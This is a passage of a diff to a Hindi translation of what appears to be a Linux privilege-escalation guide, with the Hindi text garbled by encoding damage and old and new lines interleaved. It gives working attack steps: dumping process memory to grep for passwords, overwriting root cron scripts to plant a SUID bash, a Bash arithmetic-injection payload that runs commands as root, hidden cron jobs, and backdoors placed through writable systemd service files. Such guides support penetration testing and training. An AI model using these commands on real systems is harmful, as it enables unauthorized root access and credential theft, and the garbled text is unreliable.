рдЕрдВрджрд░ credentials рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк process рдХреЛ dump рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдкрд╣рд▓реЗ рдХреЗ рд╕реЗрдХреНрд╢рдиреЛрдВ рдХреЛ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ рдХрд┐рд╕реА process рдХреА memory рдХреЛ dump рдХрд░рдиреЗ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рддрд░реАрдХреЗ рдорд┐рд▓ рд╕рдХреЗрдВ) рдФрд░ memory рдХреЗ рдЕрдВрджрд░ credentials рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -рдЯреВрд▓ [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **steal clear text credentials from memory** рдФрд░ рдХреБрдЫ **well known files** рд╕реЗ рдЗрдиреНрд╣реЗрдВ рдЪреБрд░рд╛ рд▓реЗрддрд╛ рд╣реИред рдпрд╣ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП root privileges рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред +рдпрд╣ рдЯреВрд▓ [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **рдореЗрдореЛрд░реА рд╕реЗ рдХреНрд▓рд┐рдпрд░тАСрдЯреЗрдХреНрд╕реНрдЯ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЪреБрд░рд╛рдПрдЧрд╛** рдФрд░ рдХреБрдЫ **рдкреНрд░рд╕рд┐рджреНрдз рдлрд╝рд╛рдЗрд▓реЛрдВ** рд╕реЗ рднреАред рдпрд╣ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП root privileges рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд░рдЦрддрд╛ рд╣реИред -| рд╡рд┐рд╢реЗрд╖рддрд╛ | рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдирд╛рдо | +| рд╡рд┐рд╢реЗрд╖рддрд╛ | рдкреНрд░реЛрд╕реЗрд╕ рдХрд╛ рдирд╛рдо | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -300,7 +299,7 @@ strings *.dump | grep -i password | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### рдЦреЛрдЬ Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## рдЕрдиреБрд╕реВрдЪрд┐рдд/Cron jobs +## Scheduled/Cron jobs -рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреЛрдИ рднреА scheduled job vulnerable рддреЛ рдирд╣реАрдВ рд╣реИред рд╢рд╛рдпрдж рдЖрдк рдЙрд╕ script рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛ рд╕рдХреЗрдВ рдЬреЛ root рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ (wildcard vuln? рдХреНрдпрд╛ рдЖрдк root рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ files рдХреЛ modify рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? symlinks рдХрд╛ рдЙрдкрдпреЛрдЧ? root рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ directory рдореЗрдВ specific files рдмрдирд╛ рджреЗрдВ?). +рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреЛрдИ scheduled job vulnerable рд╣реИ рдпрд╛ рдирд╣реАрдВред рд╢рд╛рдпрдж рдЖрдк рдЙрд╕ script рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ root рджреНрд╡рд╛рд░рд╛ execute рдХреА рдЬрд╛рддреА рд╣реИ (wildcard vuln? рдХреНрдпрд╛ рдЖрдк root рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА files рдХреЛ modify рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? symlinks рдХрд╛ рдЙрдкрдпреЛрдЧ? root рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ directory рдореЗрдВ specific files рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -328,20 +327,20 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul (_рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ "user" рдХреЗ рдкрд╛рд╕ /home/user рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ_) -рдпрджрд┐ рдЗрд╕ crontab рдХреЗ рдЕрдВрджрд░ root рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рдХрдорд╛рдВрдб рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ PATH рд╕реЗрдЯ рдХрд┐рдП рдмрд┐рдирд╛ рдЪрд▓рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: _\* \* \* \* root overwrite.sh_\ -рддреЛ, рдЖрдк рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ root shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдЗрд╕ crontab рдореЗрдВ root рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ PATH рд╕реЗрдЯ рдХрд┐рдП рдмрд┐рдирд╛ рдХрд┐рд╕реА рдХрдорд╛рдВрдб рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: _\* \* \* \* root overwrite.sh_\ +рдлрд┐рд░, рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ root shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Wildcard рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ Cron (Wildcard Injection) +### Cron: рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ (Wildcard Injection) -рдпрджрд┐ рдХреЛрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ, рдЬрд┐рд╕реЗ root рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХрд┐рд╕реА рдХрдорд╛рдВрдб рдХреЗ рдЕрдВрджрд░ тАЬ**\***тАЭ рд░рдЦрддреА рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛ рдХрд░ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдЪреАрдЬреЗрдВ (рдЬреИрд╕реЗ privesc) рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг: +рдпрджрд┐ рдХреЛрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ root рджреНрд╡рд╛рд░рд╛ execute рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ рдФрд░ рдХрд┐рд╕реА command рдХреЗ рдЕрдВрджрд░ тАЬ**\***тАЭ рдореМрдЬреВрдж рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ exploit рдХрд░рдХреЗ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдЪреАрдЬреЗрдВ (рдЬреИрд╕реЗ privesc) рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**рдпрджрд┐ wildcard рдХрд┐рд╕реА path рд╕реЗ рдкрд╣рд▓реЗ рдЖрддрд╛ рд╣реИ рдЬреИрд╕реЗ** _**/some/path/\***_ **, рдпрд╣ рдХрдордЬреЛрд░ рдирд╣реАрдВ рд╣реИ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐** _**./\***_ **рдирд╣реАрдВ рд╣реИ)ред** +**рдпрджрд┐ wildcard рдХрд┐рд╕реА path рдЬреИрд╕реЗ** _**/some/path/\***_ **рдХреЗ рдкрд╣рд▓реЗ рдЖрддрд╛ рд╣реИ, рддреЛ рдпрд╣ vulnerable рдирд╣реАрдВ рд╣реИ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐** _**./\***_ **рднреА рдирд╣реАрдВ)ред** Read the following page for more wildcard exploitation tricks: @@ -353,9 +352,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash ((...)), $((...)) рдФрд░ let рдореЗрдВ arithmetic evaluation рд╕реЗ рдкрд╣рд▓реЗ parameter expansion рдФрд░ command substitution рдХрд░рддрд╛ рд╣реИред рдЕрдЧрд░ рдХреЛрдИ root cron/parser untrusted log fields рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдХрд┐рд╕реА arithmetic context рдореЗрдВ рдбрд╛рд▓рддрд╛ рд╣реИ, рддреЛ attacker рдПрдХ command substitution $(...) inject рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ cron рдЪрд▓рдиреЗ рдкрд░ root рдХреЗ рд░реВрдк рдореЗрдВ execute рд╣реЛрдЧрд╛ред +Bash parameter expansion рдФрд░ command substitution рдХреЛ ((...)), $((...)) рдФрд░ let рдореЗрдВ arithmetic evaluation рд╕реЗ рдкрд╣рд▓реЗ рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдХреЛрдИ root cron/parser untrusted log fields рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ arithmetic context рдореЗрдВ рдбрд╛рд▓рддрд╛ рд╣реИ, рддреЛ attacker рдПрдХ command substitution $(...) inject рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ cron рдХреЗ рдЪрд▓рдиреЗ рдкрд░ root рдХреЗ рд░реВрдк рдореЗрдВ execute рд╣реЛрдЧрд╛ред -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. рдЗрд╕рд▓рд┐рдП рдПрдХ value рдЬреИрд╕реЗ `$(/bin/bash -c 'id > /tmp/pwn')0` рдкрд╣рд▓реЗ substitute рд╣реЛ рдЬрд╛рддреА рд╣реИ (рдХрдорд╛рдВрдб рдЪрд▓рддреА рд╣реИ), рдлрд┐рд░ рд╢реЗрд╖ numeric `0` arithmetic рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрд┐рдирд╛ error рдХреЗ рдЬрд╛рд░реА рд░рд╣рддреА рд╣реИред +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. - Typical vulnerable pattern: ```bash @@ -367,7 +366,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: attacker-controlled text рдХреЛ parsed log рдореЗрдВ рд▓рд┐рдЦрд╡рд╛рдПрдВ рддрд╛рдХрд┐ numeric-looking field рдореЗрдВ command substitution рд╣реЛ рдФрд░ рд╡рд╣ рдХрд┐рд╕реА digit рдкрд░ рдЦрддреНрдо рд╣реЛред рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХрд╛ command stdout рдкрд░ рдХреБрдЫ рди рдЫрд╛рдкреЗ (рдпрд╛ рдЙрд╕реЗ redirect рдХрд░реЗрдВ) рддрд╛рдХрд┐ arithmetic рд╡реИрдз рдмрдирд╛ рд░рд╣реЗред +- Exploitation: parsed log рдореЗрдВ attacker-controlled рдЯреЗрдХреНрд╕реНрдЯ рд▓рд┐рдЦрд╡рд╛рдПрдБ рддрд╛рдХрд┐ numeric-looking field рдореЗрдВ command substitution рд╣реЛ рдФрд░ рд╡рд╣ рдХрд┐рд╕реА digit рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛред рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХрд╛ command stdout рдкрд░ рдХреБрдЫ рди рдЫрд╛рдкреЗ (рдпрд╛ рдЗрд╕реЗ redirect рдХрд░реЗрдВ) рддрд╛рдХрд┐ arithmetic рд╡реИрдз рд░рд╣реЗред ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,117 +375,115 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -рдпрджрд┐ рдЖрдк **root рджреНрд╡рд╛рд░рд╛ executed рдХрд┐рд╕реА cron script** рдХреЛ modify рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдмрд╣реБрдд рдЖрд╕рд╛рдиреА рд╕реЗ рдПрдХ shell рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -рдпрджрд┐ root рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдпрд╛ рдЧрдпрд╛ script **directory рдЬрд┐рд╕ рдкрд░ рдЖрдкрдХреА рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рд╣реИ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рд╢рд╛рдпрдж рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рд╣рдЯрд╛рдХрд░ рдФрд░ рдХрд┐рд╕реА рджреВрд╕рд░реЗ рдкрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рд╣реЗрддреБ **symlink folder рдмрдирд╛рдирд╛** рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЗ рдирд┐рдпрдВрддреНрд░рд┐рдд script рдХреЛ рд╕рд░реНрд╡ рдХрд░реЗред +рдЕрдЧрд░ root рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдпрд╛ рдЧрдпрд╛ script рдХрд┐рд╕реА рдРрд╕реА **directory рдЬрд╣рд╛рдБ рдЖрдкрдХреЛ рдкреВрд░реНрдг рдкрд╣реБрдБрдЪ рд╣реЛ** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЙрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рд╣рдЯрд╛рдХрд░ рдФрд░ рдЖрдкрдХреА рдирд┐рдпрдВрддреНрд░рд┐рдд script рдкрд░реЛрд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕реНрдерд╛рди рдХреА рдУрд░ рдПрдХ **symlink рдлрд╝реЛрд▓реНрдбрд░ рдмрдирд╛рдиреЗ** рд╕реЗ рдпрд╣ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред ```bash ln -d -s ``` -### рдЕрдХреНрд╕рд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ cron jobs +### рдмрд╛рд░-рдмрд╛рд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ cron jobs -рдЖрдк рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЙрди рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЦреЛрдЬ рдХреА рдЬрд╛ рд╕рдХреЗ рдЬреЛ рд╣рд░ 1, 2 рдпрд╛ 5 рдорд┐рдирдЯ рдкрд░ рдЪрд▓ рд░рд╣реА рд╣реИрдВред рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЖрдк рдЗрд╕рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛рдХрд░ escalate privileges рдХрд░ рд╕рдХреЗрдВред +рдЖрдк рдкреНрд░реЛрд╕реЗрд╕реЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЙрди рдкреНрд░реЛрд╕реЗрд╕реЛрдВ рдХреЛ рдвреВрдБрдврд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рд╣рд░ 1, 2 рдпрд╛ 5 рдорд┐рдирдЯ рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╣реЛрдВред рд╢рд╛рдпрдж рдЖрдк рдЗрд╕рдХрд╛ рдлрд╛рдпрджрд╛ рдЙрдард╛ рдХрд░ escalate privileges рдХрд░ рд╕рдХреЗрдВред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **monitor every 0.1s during 1 minute**, **sort by less executed commands** рдФрд░ рдЙрди commands рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ execute рд╣реБрдП рд╣реИрдВ, рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **1 рдорд┐рдирдЯ рдХреЗ рджреМрд░рд╛рди рд╣рд░ 0.1s рдкрд░ рдореЙрдирд┐рдЯрд░ рдХрд░рдиреЗ**, **рдХрдо рдЪрд▓рд╛рдП рдЧрдП рдХрдорд╛рдВрдб рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╕реЙрд░реНрдЯ рдХрд░рдиреЗ** рдФрд░ рдЙрди рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬреЛ рд╕рдмрд╕реЗ рдЬрд╝реНрдпрд╛рджрд╛ рдЪрд▓ рдЪреБрдХреЗ рд╣реИрдВ, рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**рдЖрдк рдпрд╣ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (рдпрд╣ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣рд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдореЙрдирд┐рдЯрд░ рдФрд░ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдЧрд╛)ред +**рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (рдпрд╣ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реА рд╣рд░ process рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░реЗрдЧрд╛ рдФрд░ рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдЧрд╛)ред ### рдЕрджреГрд╢реНрдп cron jobs -рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк рдПрдХ cronjob рдмрдирд╛ рд╕рдХреЗрдВ **рдЯрд┐рдкреНрдкрдгреА рдХреЗ рдмрд╛рдж carriage return рдбрд╛рд▓рдХрд░** (рдмрд┐рдирд╛ newline character рдХреЗ), рдФрд░ cron job рдХрд╛рдо рдХрд░реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг (рдзреНрдпрд╛рди рджреЗрдВ carriage return char): +рдПрдХ cronjob рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ **comment рдХреЗ рдмрд╛рдж рдПрдХ carriage return рдбрд╛рд▓рдХрд░** (рдмрд┐рдирд╛ newline character рдХреЗ), рдФрд░ cron job рдХрд╛рдо рдХрд░реЗрдЧрд╛ред рдЙрджрд╛рд╣рд░рдг (carriage return char рдкрд░ рдзреНрдпрд╛рди рджреЗрдВ): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## рд╕реЗрд╡рд╛рдПрдБ +## Services -### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп _.service_ рдлрд╝рд╛рдЗрд▓реЗрдВ +### Writable _.service_ files -рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА `.service` рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдпрджрд┐ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **рдЗрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рддрд╛рдХрд┐ рдпрд╣ рдЖрдкрдХреЗ **backdoor** рдХреЛ рддрдм **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░реЗ рдЬрдм service **рд╢реБрд░реВ**, **рдкреБрдирдГрдЖрд░рдВрдн** рдпрд╛ **рд░реЛрдХ** рдХрд┐рдпрд╛ рдЬрд╛рдП (рд╢рд╛рдпрдж рдЖрдкрдХреЛ рдорд╢реАрди рдХреЗ reboot рд╣реЛрдиреЗ рддрдХ рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдиреА рдкрдбрд╝ рд╕рдХрддреА рд╣реИ).\ -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрдкрдиреА backdoor рдХреЛ `.service` рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдЗрд╕ рддрд░рд╣ рдмрдирд╛рдПрдВ: **`ExecStart=/tmp/script.sh`** +Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ +For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** -### рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп service рдмрд╛рдЗрдирд░реАрдЬрд╝ +### Writable service binaries -рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕реЗрд╡рд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХреА рдЬрд╛ рд░рд╣реА рдмрд╛рдЗрдирд░реАрдЬрд╝ рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** рд╣реИ, рддреЛ рдЖрдк рдЙрдиреНрд╣реЗрдВ backdoors рдХреЗ рд▓рд┐рдП рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЬрдм рд╕реЗрд╡рд╛рдПрдБ рдлрд┐рд░ рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдВ рддреЛ backdoors рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рдЬрд╛рдПрдБред +Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. ### systemd PATH - Relative Paths -рдЖрдк **systemd** рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ PATH рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реЗ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: +You can see the PATH used by **systemd** with: ```bash systemctl show-environment ``` -рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдкрд╛рде рдХреЗ рдХрд┐рд╕реА рднреА рдлреЛрд▓реНрдбрд░ рдореЗрдВ **write** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **escalate privileges** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдкрдХреЛ **relative paths being used on service configurations** рдЬреИрд╕реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рдЦреЛрдЬ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдЬреИрд╕реЗ: +рдпрджрд┐ рдЖрдк рдкрде рдХреЗ рдХрд┐рд╕реА рднреА рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ **write** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **escalate privileges** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрдкрдХреЛ **relative paths being used on service configurations** рдЬреИрд╕реА рдлрд╝рд╛рдЗрд▓реЛрдВ рдореЗрдВ рддрд▓рд╛рд╢ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП, рдЬреИрд╕реЗ: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -рдлрд┐рд░, рдЖрдк рдЬрд┐рд╕ systemd PATH рдлрд╝реЛрд▓реНрдбрд░ рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЙрд╕рдХреЗ рднреАрддрд░ relative path binary рдХреЗ рдЙрд╕реА рдирд╛рдо рдХреЗ рд╕рд╛рде рдПрдХ **executable** рдмрдирд╛рдПрдВ, рдФрд░ рдЬрдм рд╕реЗрд╡рд╛ рд╕реЗ vulnerable action (**Start**, **Stop**, **Reload**) рдХреЛ execute рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдЖрдкрдХрд╛ **backdoor will be executed** (unprivileged users рдЖрдорддреМрд░ рдкрд░ services рдХреЛ start/stop рдирд╣реАрдВ рдХрд░ рдкрд╛рддреЗ, рд▓реЗрдХрд┐рди рдЬрд╛рдБрдЪ рдХрд░реЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк `sudo -l` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред +рдлрд┐рд░, рдЙрд╕ systemd PATH рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рдЬрд┐рд╕реЗ рдЖрдк рд▓рд┐рдЦ рд╕рдХрддреЗ 